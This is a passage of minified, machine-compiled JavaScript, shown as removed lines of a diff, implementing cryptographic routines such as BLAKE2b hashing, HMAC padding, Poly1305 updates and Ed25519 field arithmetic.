2] = 909522486, r11) { - if (r11 >>> 0 >= 4) - for (h5 = 124 & r11; s4[0 | (i4 = (o5 = n9 + 32 | 0) + A8 | 0)] = c4[0 | i4] ^ c4[e6 + A8 | 0], s4[0 | (f5 = (i4 = 1 | A8) + o5 | 0)] = c4[0 | f5] ^ c4[e6 + i4 | 0], s4[0 | (f5 = (i4 = 2 | A8) + o5 | 0)] = c4[0 | f5] ^ c4[e6 + i4 | 0], s4[0 | (i4 = (i4 = o5) + (o5 = 3 | A8) | 0)] = c4[0 | i4] ^ c4[e6 + o5 | 0], A8 = A8 + 4 | 0, (0 | h5) != (0 | (g5 = g5 + 4 | 0)); ) - ; - if (g5 = 3 & r11) - for (; s4[0 | (o5 = (n9 + 32 | 0) + A8 | 0)] = c4[0 | o5] ^ c4[e6 + A8 | 0], A8 = A8 + 1 | 0, (0 | g5) != (0 | (u5 = u5 + 1 | 0)); ) - ; - } - if (K4(t7, n9 + 32 | 0, 64), wt2(o5 = t7 + 104 | 0), a4[n9 + 88 >> 2] = 1549556828, a4[n9 + 92 >> 2] = 1549556828, a4[n9 + 80 >> 2] = 1549556828, a4[n9 + 84 >> 2] = 1549556828, a4[n9 + 72 >> 2] = 1549556828, a4[n9 + 76 >> 2] = 1549556828, a4[l5 >> 2] = 1549556828, a4[l5 + 4 >> 2] = 1549556828, a4[n9 + 56 >> 2] = 1549556828, a4[n9 + 60 >> 2] = 1549556828, a4[n9 + 48 >> 2] = 1549556828, a4[n9 + 52 >> 2] = 1549556828, a4[n9 + 40 >> 2] = 1549556828, a4[n9 + 44 >> 2] = 1549556828, a4[n9 + 32 >> 2] = 1549556828, a4[n9 + 36 >> 2] = 1549556828, r11) { - if (u5 = 0, A8 = 0, r11 >>> 0 >= 4) - for (l5 = 124 & r11, g5 = 0; s4[0 | (h5 = (t7 = n9 + 32 | 0) + A8 | 0)] = c4[0 | h5] ^ c4[e6 + A8 | 0], s4[0 | (i4 = (h5 = 1 | A8) + t7 | 0)] = c4[0 | i4] ^ c4[e6 + h5 | 0], s4[0 | (i4 = (h5 = 2 | A8) + t7 | 0)] = c4[0 | i4] ^ c4[e6 + h5 | 0], s4[0 | (h5 = (i4 = t7) + (t7 = 3 | A8) | 0)] = c4[0 | h5] ^ c4[t7 + e6 | 0], A8 = A8 + 4 | 0, (0 | l5) != (0 | (g5 = g5 + 4 | 0)); ) - ; - if (t7 = 3 & r11) - for (; s4[0 | (r11 = (n9 + 32 | 0) + A8 | 0)] = c4[0 | r11] ^ c4[e6 + A8 | 0], A8 = A8 + 1 | 0, (0 | t7) != (0 | (u5 = u5 + 1 | 0)); ) - ; - } - return K4(o5, t7 = n9 + 32 | 0, 64), oe2(t7, 64), oe2(n9, 32), I4 = n9 + 96 | 0, 0; - } - function j4(t7, e6, r11, n9, A8, o5, s5) { - var c5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0; - if (e6 - 65 >>> 0 < 4294967232 | s5 >>> 0 > 64) - t7 = -1; - else { - f5 = c5 = I4, I4 = c5 = c5 - 512 & -64; - t: { - e: - if (!(!(!(n9 | A8) | r11) | !t7 | ((h5 = 255 & e6) - 65 & 255) >>> 0 <= 191 | !(!(e6 = 255 & s5) || o5) | e6 >>> 0 >= 65)) { - if (e6) { - if (!o5) - break e; - xt2(c5 - -64 | 0, 0, 293), a4[c5 + 56 >> 2] = 327033209, a4[c5 + 60 >> 2] = 1541459225, a4[c5 + 48 >> 2] = -79577749, a4[c5 + 52 >> 2] = 528734635, a4[c5 + 40 >> 2] = 725511199, a4[c5 + 44 >> 2] = -1694144372, a4[c5 + 32 >> 2] = -1377402159, a4[c5 + 36 >> 2] = 1359893119, a4[c5 + 24 >> 2] = 1595750129, a4[c5 + 28 >> 2] = -1521486534, a4[c5 + 16 >> 2] = -23791573, a4[c5 + 20 >> 2] = 1013904242, a4[c5 + 8 >> 2] = -2067093701, a4[c5 + 12 >> 2] = -1150833019, a4[c5 >> 2] = -222443256 ^ (e6 << 8 | h5), a4[c5 + 4 >> 2] = e6 >>> 24 ^ 1779033703, xt2((s5 = c5 + 384 | 0) + e6 | 0, 0, 128 - e6 | 0), Mt2(s5, o5, e6), Mt2(c5 + 96 | 0, s5, 128), a4[c5 + 352 >> 2] = 128, oe2(s5, 128), e6 = 128; - } else - xt2(c5 - -64 | 0, 0, 293), a4[c5 + 56 >> 2] = 327033209, a4[c5 + 60 >> 2] = 1541459225, a4[c5 + 48 >> 2] = -79577749, a4[c5 + 52 >> 2] = 528734635, a4[c5 + 40 >> 2] = 725511199, a4[c5 + 44 >> 2] = -1694144372, a4[c5 + 32 >> 2] = -1377402159, a4[c5 + 36 >> 2] = 1359893119, a4[c5 + 24 >> 2] = 1595750129, a4[c5 + 28 >> 2] = -1521486534, a4[c5 + 16 >> 2] = -23791573, a4[c5 + 20 >> 2] = 1013904242, a4[c5 + 8 >> 2] = -2067093701, a4[c5 + 12 >> 2] = -1150833019, a4[c5 >> 2] = -222443256 ^ h5, a4[c5 + 4 >> 2] = 1779033703, e6 = 0; - r: - if (n9 | A8) - for (p5 = c5 + 224 | 0, g5 = c5 + 96 | 0; ; ) { - if (s5 = e6 + g5 | 0, !A8 & n9 >>> 0 <= (o5 = 256 - e6 | 0) >>> 0) { - Mt2(s5, r11, n9), a4[c5 + 352 >> 2] = n9 + a4[c5 + 352 >> 2]; - break r; - } - if (Mt2(s5, r11, o5), a4[c5 + 352 >> 2] = o5 + a4[c5 + 352 >> 2], u5 = e6 = a4[c5 + 68 >> 2], e6 = (l5 = (s5 = a4[c5 + 64 >> 2]) + 128 | 0) >>> 0 < 128 ? e6 + 1 | 0 : e6, a4[c5 + 64 >> 2] = l5, a4[c5 + 68 >> 2] = e6, e6 = a4[c5 + 76 >> 2], e6 = (u5 = s5 = -1 == (0 | u5) & s5 >>> 0 > 4294967167) >>> 0 > (s5 = s5 + a4[c5 + 72 >> 2] | 0) >>> 0 ? e6 + 1 | 0 : e6, a4[c5 + 72 >> 2] = s5, a4[c5 + 76 >> 2] = e6, C4(c5, g5), Mt2(g5, p5, 128), e6 = a4[c5 + 352 >> 2] - 128 | 0, a4[c5 + 352 >> 2] = e6, r11 = r11 + o5 | 0, !((A8 = A8 - (n9 >>> 0 < o5 >>> 0) | 0) | (n9 = n9 - o5 | 0))) - break; - } - S4(c5, t7, h5), I4 = f5; - break t; - } - Kt2(), i3(); - } - t7 = 0; - } - return t7; - } - function z3(t7, e6, r11, n9) { - var A8 = 0, i4 = 0, o5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, y5 = 0; - t: { - if ((o5 = a4[t7 + 56 >> 2]) | (A8 = a4[t7 + 60 >> 2])) { - if (p5 = i4 = 16 - o5 | 0, g5 = (i4 = (0 | (h5 = 0 - ((o5 >>> 0 > 16) + A8 | 0) | 0)) == (0 | n9) & r11 >>> 0 > i4 >>> 0 | n9 >>> 0 > h5 >>> 0) ? p5 : r11, p5 = i4 = i4 ? h5 : n9, i4 | g5) { - if (i4 = 0, o5 = 0, !p5 & g5 >>> 0 >= 4 | p5) - for (u5 = -4 & g5, h5 = t7 - -64 | 0; A8 = i4 + a4[t7 + 56 >> 2] | 0, s4[A8 + h5 | 0] = c4[e6 + i4 | 0], A8 = (d5 = 1 | i4) + a4[t7 + 56 >> 2] | 0, s4[A8 + h5 | 0] = c4[e6 + d5 | 0], A8 = (d5 = 2 | i4) + a4[t7 + 56 >> 2] | 0, s4[A8 + h5 | 0] = c4[e6 + d5 | 0], A8 = (d5 = 3 | i4) + a4[t7 + 56 >> 2] | 0, s4[A8 + h5 | 0] = c4[e6 + d5 | 0], A8 = o5, o5 = (i4 = i4 + 4 | 0) >>> 0 < 4 ? A8 + 1 | 0 : A8, A8 = l5, l5 = A8 = (f5 = f5 + 4 | 0) >>> 0 < 4 ? A8 + 1 | 0 : A8, (0 | f5) != (0 | u5) | (0 | p5) != (0 | A8); ) - ; - if (h5 = A8 = 0, A8 | (l5 = 3 & g5)) - for (; f5 = i4 + a4[t7 + 56 >> 2] | 0, s4[(t7 + f5 | 0) - -64 | 0] = c4[e6 + i4 | 0], o5 = (i4 = i4 + 1 | 0) ? o5 : o5 + 1 | 0, A8 = y5, y5 = A8 = (I5 = I5 + 1 | 0) ? A8 : A8 + 1 | 0, (0 | l5) != (0 | I5) | (0 | h5) != (0 | A8); ) - ; - o5 = a4[t7 + 56 >> 2], A8 = a4[t7 + 60 >> 2]; - } - if (A8 = A8 + p5 | 0, A8 = (o5 = o5 + g5 | 0) >>> 0 < g5 >>> 0 ? A8 + 1 | 0 : A8, a4[t7 + 56 >> 2] = o5, a4[t7 + 60 >> 2] = A8, !A8 & o5 >>> 0 < 16) - break t; - x4(t7, t7 - -64 | 0, 16, 0), a4[t7 + 56 >> 2] = 0, a4[t7 + 60 >> 2] = 0, r11 = (o5 = r11) - g5 | 0, n9 = n9 - ((o5 >>> 0 < g5 >>> 0) + p5 | 0) | 0, e6 = e6 + g5 | 0; - } - if (!n9 & r11 >>> 0 >= 16 | n9 && (x4(t7, e6, o5 = -16 & r11, n9), r11 &= 15, n9 = 0, e6 = e6 + o5 | 0), r11 | n9) { - if (I5 = 0, y5 = 0, i4 = 0, o5 = 0, !n9 & r11 >>> 0 >= 4 | n9) - for (g5 = 12 & r11, p5 = 0, h5 = t7 - -64 | 0, f5 = 0, l5 = 0; A8 = i4 + a4[t7 + 56 >> 2] | 0, s4[A8 + h5 | 0] = c4[e6 + i4 | 0], A8 = (u5 = 1 | i4) + a4[t7 + 56 >> 2] | 0, s4[A8 + h5 | 0] = c4[e6 + u5 | 0], A8 = (u5 = 2 | i4) + a4[t7 + 56 >> 2] | 0, s4[A8 + h5 | 0] = c4[e6 + u5 | 0], A8 = (u5 = 3 | i4) + a4[t7 + 56 >> 2] | 0, s4[A8 + h5 | 0] = c4[e6 + u5 | 0], o5 = (i4 = i4 + 4 | 0) >>> 0 < 4 ? o5 + 1 | 0 : o5, A8 = l5, l5 = A8 = (f5 = f5 + 4 | 0) >>> 0 < 4 ? A8 + 1 | 0 : A8, (0 | g5) != (0 | f5) | (0 | p5) != (0 | A8); ) - ; - if (h5 = A8 = 0, A8 | (l5 = 3 & r11)) - for (; A8 = i4 + a4[t7 + 56 >> 2] | 0, s4[(t7 + A8 | 0) - -64 | 0] = c4[e6 + i4 | 0], o5 = (i4 = i4 + 1 | 0) ? o5 : o5 + 1 | 0, A8 = y5, y5 = A8 = (I5 = I5 + 1 | 0) ? A8 : A8 + 1 | 0, (0 | l5) != (0 | I5) | (0 | h5) != (0 | A8); ) - ; - o5 = n9 + a4[t7 + 60 >> 2] | 0, o5 = (e6 = r11 + a4[t7 + 56 >> 2] | 0) >>> 0 < r11 >>> 0 ? o5 + 1 | 0 : o5, a4[t7 + 56 >> 2] = e6, a4[t7 + 60 >> 2] = o5; - } - } - } - function q3(t7, e6, r11) { - var n9, A8 = 0, i4 = 0, o5 = 0, s5 = 0, c5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, y5 = 0, C5 = 0, m5 = 0, B5 = 0, E5 = 0, w5 = 0; - d5 = a4[e6 + 4 >> 2], A8 = a4[t7 + 4 >> 2], I5 = a4[e6 + 8 >> 2], i4 = a4[t7 + 8 >> 2], y5 = a4[e6 + 12 >> 2], o5 = a4[t7 + 12 >> 2], C5 = a4[e6 + 16 >> 2], s5 = a4[t7 + 16 >> 2], m5 = a4[e6 + 20 >> 2], c5 = a4[t7 + 20 >> 2], B5 = a4[e6 + 24 >> 2], h5 = a4[t7 + 24 >> 2], f5 = a4[e6 + 28 >> 2], g5 = a4[t7 + 28 >> 2], E5 = a4[e6 + 32 >> 2], u5 = a4[t7 + 32 >> 2], w5 = a4[e6 + 36 >> 2], l5 = a4[t7 + 36 >> 2], r11 = 0 - r11 | 0, p5 = a4[t7 >> 2], a4[t7 >> 2] = r11 & (p5 ^ a4[e6 >> 2]) ^ p5, a4[t7 + 36 >> 2] = l5 ^ r11 & (l5 ^ w5), a4[t7 + 32 >> 2] = u5 ^ r11 & (u5 ^ E5), a4[t7 + 28 >> 2] = g5 ^ r11 & (g5 ^ f5), a4[t7 + 24 >> 2] = h5 ^ r11 & (h5 ^ B5), a4[t7 + 20 >> 2] = c5 ^ r11 & (c5 ^ m5), a4[t7 + 16 >> 2] = s5 ^ r11 & (s5 ^ C5), a4[t7 + 12 >> 2] = o5 ^ r11 & (o5 ^ y5), a4[t7 + 8 >> 2] = i4 ^ r11 & (i4 ^ I5), a4[t7 + 4 >> 2] = A8 ^ r11 & (A8 ^ d5), A8 = a4[t7 + 40 >> 2], d5 = a4[e6 + 40 >> 2], i4 = a4[t7 + 44 >> 2], I5 = a4[e6 + 44 >> 2], o5 = a4[t7 + 48 >> 2], y5 = a4[e6 + 48 >> 2], s5 = a4[t7 + 52 >> 2], C5 = a4[e6 + 52 >> 2], c5 = a4[t7 + 56 >> 2], m5 = a4[e6 + 56 >> 2], h5 = a4[t7 + 60 >> 2], B5 = a4[e6 + 60 >> 2], g5 = a4[(f5 = t7 - -64 | 0) >> 2], E5 = a4[e6 - -64 >> 2], u5 = a4[t7 + 68 >> 2], w5 = a4[e6 + 68 >> 2], l5 = a4[t7 + 72 >> 2], p5 = a4[e6 + 72 >> 2], n9 = a4[t7 + 76 >> 2], a4[t7 + 76 >> 2] = n9 ^ r11 & (a4[e6 + 76 >> 2] ^ n9), a4[t7 + 72 >> 2] = l5 ^ r11 & (l5 ^ p5), a4[t7 + 68 >> 2] = u5 ^ r11 & (u5 ^ w5), a4[f5 >> 2] = g5 ^ r11 & (g5 ^ E5), a4[t7 + 60 >> 2] = h5 ^ r11 & (h5 ^ B5), a4[t7 + 56 >> 2] = c5 ^ r11 & (c5 ^ m5), a4[t7 + 52 >> 2] = s5 ^ r11 & (s5 ^ C5), a4[t7 + 48 >> 2] = o5 ^ r11 & (o5 ^ y5), a4[t7 + 44 >> 2] = i4 ^ r11 & (i4 ^ I5), a4[t7 + 40 >> 2] = A8 ^ r11 & (A8 ^ d5), A8 = a4[t7 + 80 >> 2], d5 = a4[e6 + 80 >> 2], i4 = a4[t7 + 84 >> 2], I5 = a4[e6 + 84 >> 2], o5 = a4[t7 + 88 >> 2], y5 = a4[e6 + 88 >> 2], s5 = a4[t7 + 92 >> 2], C5 = a4[e6 + 92 >> 2], c5 = a4[t7 + 96 >> 2], m5 = a4[e6 + 96 >> 2], h5 = a4[t7 + 100 >> 2], B5 = a4[e6 + 100 >> 2], g5 = a4[t7 + 104 >> 2], f5 = a4[e6 + 104 >> 2], u5 = a4[t7 + 108 >> 2], E5 = a4[e6 + 108 >> 2], l5 = a4[t7 + 112 >> 2], w5 = a4[e6 + 112 >> 2], p5 = a4[e6 + 116 >> 2], e6 = a4[t7 + 116 >> 2], a4[t7 + 116 >> 2] = r11 & (p5 ^ e6) ^ e6, a4[t7 + 112 >> 2] = l5 ^ r11 & (l5 ^ w5), a4[t7 + 108 >> 2] = u5 ^ r11 & (u5 ^ E5), a4[t7 + 104 >> 2] = g5 ^ r11 & (g5 ^ f5), a4[t7 + 100 >> 2] = h5 ^ r11 & (h5 ^ B5), a4[t7 + 96 >> 2] = c5 ^ r11 & (c5 ^ m5), a4[t7 + 92 >> 2] = s5 ^ r11 & (s5 ^ C5), a4[t7 + 88 >> 2] = o5 ^ r11 & (o5 ^ y5), a4[t7 + 84 >> 2] = i4 ^ r11 & (i4 ^ I5), a4[t7 + 80 >> 2] = A8 ^ r11 & (A8 ^ d5); - } - function X2(t7, e6) { - var r11, n9, A8 = 0; - for (I4 = r11 = I4 - 192 | 0, b4(n9 = r11 + 144 | 0, e6), b4(A8 = r11 + 96 | 0, n9), b4(A8, A8), v4(A8, e6, A8), v4(n9, n9, A8), b4(e6 = r11 + 48 | 0, n9), v4(A8, A8, e6), b4(e6, A8), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), v4(A8, e6, A8), b4(e6, A8), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), v4(e6, e6, A8), b4(r11, e6), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), b4(r11, r11), v4(e6, r11, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), v4(A8, e6, A8), b4(e6, A8), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), v4(e6, e6, A8), b4(r11, e6), e6 = 1; b4(r11, r11), 100 != (0 | (e6 = e6 + 1 | 0)); ) - ; - v4(e6 = r11 + 48 | 0, r11, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), b4(e6, e6), v4(A8 = r11 + 96 | 0, e6, A8), b4(A8, A8), b4(A8, A8), b4(A8, A8), b4(A8, A8), b4(A8, A8), v4(t7, A8, r11 + 144 | 0), I4 = r11 + 192 | 0; - } - function V2(t7, e6, r11) { - var n9, A8, i4, o5, s5, c5, h5, u5, l5 = 0; - I4 = n9 = I4 - 128 | 0, a4[t7 >> 2] = 1, a4[t7 + 4 >> 2] = 0, a4[t7 + 8 >> 2] = 0, a4[t7 + 12 >> 2] = 0, a4[t7 + 16 >> 2] = 0, a4[t7 + 20 >> 2] = 0, a4[t7 + 24 >> 2] = 0, a4[t7 + 28 >> 2] = 0, a4[t7 + 32 >> 2] = 0, a4[t7 + 36 >> 2] = 0, a4[t7 + 40 >> 2] = 1, xt2(t7 + 44 | 0, 0, 76), q3(t7, e6 = g4(e6, 960) + 2704 | 0, (255 & (1 ^ (l5 = r11 - ((r11 >> 31 & r11) << 1) | 0))) - 1 >>> 31 | 0), q3(t7, e6 + 120 | 0, (255 & (2 ^ l5)) - 1 >>> 31 | 0), q3(t7, e6 + 240 | 0, (255 & (3 ^ l5)) - 1 >>> 31 | 0), q3(t7, e6 + 360 | 0, (255 & (4 ^ l5)) - 1 >>> 31 | 0), q3(t7, e6 + 480 | 0, (255 & (5 ^ l5)) - 1 >>> 31 | 0), q3(t7, e6 + 600 | 0, (255 & (6 ^ l5)) - 1 >>> 31 | 0), q3(t7, e6 + 720 | 0, (255 & (7 ^ l5)) - 1 >>> 31 | 0), q3(t7, e6 + 840 | 0, (255 & (8 ^ l5)) - 1 >>> 31 | 0), e6 = a4[t7 + 76 >> 2], a4[n9 + 40 >> 2] = a4[t7 + 72 >> 2], a4[n9 + 44 >> 2] = e6, l5 = a4[4 + (e6 = t7 - -64 | 0) >> 2], a4[n9 + 32 >> 2] = a4[e6 >> 2], a4[n9 + 36 >> 2] = l5, e6 = a4[t7 + 60 >> 2], a4[n9 + 24 >> 2] = a4[t7 + 56 >> 2], a4[n9 + 28 >> 2] = e6, e6 = a4[t7 + 52 >> 2], a4[n9 + 16 >> 2] = a4[t7 + 48 >> 2], a4[n9 + 20 >> 2] = e6, e6 = a4[t7 + 44 >> 2], a4[n9 + 8 >> 2] = a4[t7 + 40 >> 2], a4[n9 + 12 >> 2] = e6, e6 = a4[t7 + 12 >> 2], a4[n9 + 56 >> 2] = a4[t7 + 8 >> 2], a4[n9 + 60 >> 2] = e6, l5 = a4[t7 + 20 >> 2], a4[(e6 = n9 - -64 | 0) >> 2] = a4[t7 + 16 >> 2], a4[e6 + 4 >> 2] = l5, e6 = a4[t7 + 28 >> 2], a4[n9 + 72 >> 2] = a4[t7 + 24 >> 2], a4[n9 + 76 >> 2] = e6, e6 = a4[t7 + 36 >> 2], a4[n9 + 80 >> 2] = a4[t7 + 32 >> 2], a4[n9 + 84 >> 2] = e6, e6 = a4[t7 + 4 >> 2], a4[n9 + 48 >> 2] = a4[t7 >> 2], a4[n9 + 52 >> 2] = e6, e6 = a4[t7 + 80 >> 2], l5 = a4[t7 + 84 >> 2], A8 = a4[t7 + 88 >> 2], i4 = a4[t7 + 92 >> 2], o5 = a4[t7 + 96 >> 2], s5 = a4[t7 + 100 >> 2], c5 = a4[t7 + 104 >> 2], h5 = a4[t7 + 108 >> 2], u5 = a4[t7 + 112 >> 2], a4[n9 + 124 >> 2] = 0 - a4[t7 + 116 >> 2], a4[n9 + 120 >> 2] = 0 - u5, a4[n9 + 116 >> 2] = 0 - h5, a4[n9 + 112 >> 2] = 0 - c5, a4[n9 + 108 >> 2] = 0 - s5, a4[n9 + 104 >> 2] = 0 - o5, a4[n9 + 100 >> 2] = 0 - i4, a4[n9 + 96 >> 2] = 0 - A8, a4[n9 + 92 >> 2] = 0 - l5, a4[n9 + 88 >> 2] = 0 - e6, q3(t7, n9 + 8 | 0, (128 & r11) >>> 7 | 0), I4 = n9 + 128 | 0; - } - function W2(t7, e6, r11, n9) { - var A8 = 0, i4 = 0, o5 = 0, a5 = 0, h5 = 0, g5 = 0, u5 = 0; - if (r11 | n9) - t: - for (u5 = t7 + 224 | 0, h5 = t7 + 96 | 0, i4 = c4[t7 + 352 | 0] | c4[t7 + 353 | 0] << 8 | c4[t7 + 354 | 0] << 16 | c4[t7 + 355 | 0] << 24; ; ) { - if (A8 = i4 + h5 | 0, !n9 & r11 >>> 0 <= (o5 = 256 - i4 | 0) >>> 0) { - Mt2(A8, e6, r11), e6 = r11 + (c4[t7 + 352 | 0] | c4[t7 + 353 | 0] << 8 | c4[t7 + 354 | 0] << 16 | c4[t7 + 355 | 0] << 24) | 0, s4[t7 + 352 | 0] = e6, s4[t7 + 353 | 0] = e6 >>> 8, s4[t7 + 354 | 0] = e6 >>> 16, s4[t7 + 355 | 0] = e6 >>> 24; - break t; - } - if (Mt2(A8, e6, o5), A8 = (c4[t7 + 352 | 0] | c4[t7 + 353 | 0] << 8 | c4[t7 + 354 | 0] << 16 | c4[t7 + 355 | 0] << 24) + o5 | 0, s4[t7 + 352 | 0] = A8, s4[t7 + 353 | 0] = A8 >>> 8, s4[t7 + 354 | 0] = A8 >>> 16, s4[t7 + 355 | 0] = A8 >>> 24, g5 = i4 = c4[t7 + 68 | 0] | c4[t7 + 69 | 0] << 8 | c4[t7 + 70 | 0] << 16 | c4[t7 + 71 | 0] << 24, i4 = (a5 = 128 + (A8 = c4[t7 + 64 | 0] | c4[t7 + 65 | 0] << 8 | c4[t7 + 66 | 0] << 16 | c4[t7 + 67 | 0] << 24) | 0) >>> 0 < 128 ? i4 + 1 | 0 : i4, s4[t7 + 64 | 0] = a5, s4[t7 + 65 | 0] = a5 >>> 8, s4[t7 + 66 | 0] = a5 >>> 16, s4[t7 + 67 | 0] = a5 >>> 24, s4[t7 + 68 | 0] = i4, s4[t7 + 69 | 0] = i4 >>> 8, s4[t7 + 70 | 0] = i4 >>> 16, s4[t7 + 71 | 0] = i4 >>> 24, i4 = c4[t7 + 76 | 0] | c4[t7 + 77 | 0] << 8 | c4[t7 + 78 | 0] << 16 | c4[t7 + 79 | 0] << 24, i4 = (g5 = A8 = -1 == (0 | g5) & A8 >>> 0 > 4294967167) >>> 0 > (A8 = A8 + (c4[t7 + 72 | 0] | c4[t7 + 73 | 0] << 8 | c4[t7 + 74 | 0] << 16 | c4[t7 + 75 | 0] << 24) | 0) >>> 0 ? i4 + 1 | 0 : i4, s4[t7 + 72 | 0] = A8, s4[t7 + 73 | 0] = A8 >>> 8, s4[t7 + 74 | 0] = A8 >>> 16, s4[t7 + 75 | 0] = A8 >>> 24, s4[t7 + 76 | 0] = i4, s4[t7 + 77 | 0] = i4 >>> 8, s4[t7 + 78 | 0] = i4 >>> 16, s4[t7 + 79 | 0] = i4 >>> 24, C4(t7, h5), Mt2(h5, u5, 128), A8 = i4 = (c4[t7 + 352 | 0] | c4[t7 + 353 | 0] << 8 | c4[t7 + 354 | 0] << 16 | c4[t7 + 355 | 0] << 24) - 128 | 0, s4[t7 + 352 | 0] = A8, s4[t7 + 353 | 0] = A8 >>> 8, s4[t7 + 354 | 0] = A8 >>> 16, s4[t7 + 355 | 0] = A8 >>> 24, e6 = e6 + o5 | 0, !((n9 = n9 - (r11 >>> 0 < o5 >>> 0) | 0) | (r11 = r11 - o5 | 0))) - break; - } - return 0; - } - function Z2(t7, e6) { - var r11, n9 = 0, A8 = 0, i4 = 0, o5 = 0, s5 = 0, c5 = 0, h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, y5 = 0, C5 = 0, m5 = 0, B5 = 0; - n9 = a4[e6 + 40 >> 2], i4 = a4[e6 + 4 >> 2], o5 = a4[e6 + 44 >> 2], s5 = a4[e6 + 8 >> 2], c5 = a4[e6 + 48 >> 2], h5 = a4[e6 + 12 >> 2], g5 = a4[e6 + 52 >> 2], u5 = a4[e6 + 16 >> 2], l5 = a4[e6 + 56 >> 2], f5 = a4[e6 + 20 >> 2], p5 = a4[e6 + 60 >> 2], d5 = a4[e6 + 24 >> 2], I5 = a4[(A8 = e6 - -64 | 0) >> 2], y5 = a4[e6 + 28 >> 2], C5 = a4[e6 + 68 >> 2], m5 = a4[e6 + 32 >> 2], B5 = a4[e6 + 72 >> 2], r11 = a4[e6 >> 2], a4[t7 + 36 >> 2] = a4[e6 + 36 >> 2] + a4[e6 + 76 >> 2], a4[t7 + 32 >> 2] = m5 + B5, a4[t7 + 28 >> 2] = y5 + C5, a4[t7 + 24 >> 2] = d5 + I5, a4[t7 + 20 >> 2] = f5 + p5, a4[t7 + 16 >> 2] = u5 + l5, a4[t7 + 12 >> 2] = h5 + g5, a4[t7 + 8 >> 2] = s5 + c5, a4[t7 + 4 >> 2] = i4 + o5, a4[t7 >> 2] = n9 + r11, n9 = a4[e6 + 40 >> 2], i4 = a4[e6 + 4 >> 2], o5 = a4[e6 + 44 >> 2], s5 = a4[e6 + 8 >> 2], c5 = a4[e6 + 48 >> 2], h5 = a4[e6 + 12 >> 2], g5 = a4[e6 + 52 >> 2], u5 = a4[e6 + 16 >> 2], l5 = a4[e6 + 56 >> 2], f5 = a4[e6 + 20 >> 2], p5 = a4[e6 + 60 >> 2], d5 = a4[e6 + 24 >> 2], A8 = a4[A8 >> 2], I5 = a4[e6 + 28 >> 2], y5 = a4[e6 + 68 >> 2], C5 = a4[e6 + 32 >> 2], m5 = a4[e6 + 72 >> 2], B5 = a4[e6 >> 2], a4[t7 + 76 >> 2] = a4[e6 + 76 >> 2] - a4[e6 + 36 >> 2], a4[t7 + 72 >> 2] = m5 - C5, a4[t7 + 68 >> 2] = y5 - I5, a4[t7 - -64 >> 2] = A8 - d5, a4[t7 + 60 >> 2] = p5 - f5, a4[t7 + 56 >> 2] = l5 - u5, a4[t7 + 52 >> 2] = g5 - h5, a4[t7 + 48 >> 2] = c5 - s5, a4[t7 + 44 >> 2] = o5 - i4, a4[t7 + 40 >> 2] = n9 - B5, n9 = a4[e6 + 84 >> 2], a4[t7 + 80 >> 2] = a4[e6 + 80 >> 2], a4[t7 + 84 >> 2] = n9, n9 = a4[e6 + 92 >> 2], a4[t7 + 88 >> 2] = a4[e6 + 88 >> 2], a4[t7 + 92 >> 2] = n9, n9 = a4[e6 + 100 >> 2], a4[t7 + 96 >> 2] = a4[e6 + 96 >> 2], a4[t7 + 100 >> 2] = n9, n9 = a4[e6 + 108 >> 2], a4[t7 + 104 >> 2] = a4[e6 + 104 >> 2], a4[t7 + 108 >> 2] = n9, n9 = a4[e6 + 116 >> 2], a4[t7 + 112 >> 2] = a4[e6 + 112 >> 2], a4[t7 + 116 >> 2] = n9, v4(t7 + 120 | 0, e6 + 120 | 0, 1440); - } - function $2(t7, e6) { - var r11, n9, A8, i4, o5, c5 = 0, h5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, y5 = 0, C5 = 0; - (c5 = a4[t7 + 56 >> 2]) | (h5 = a4[t7 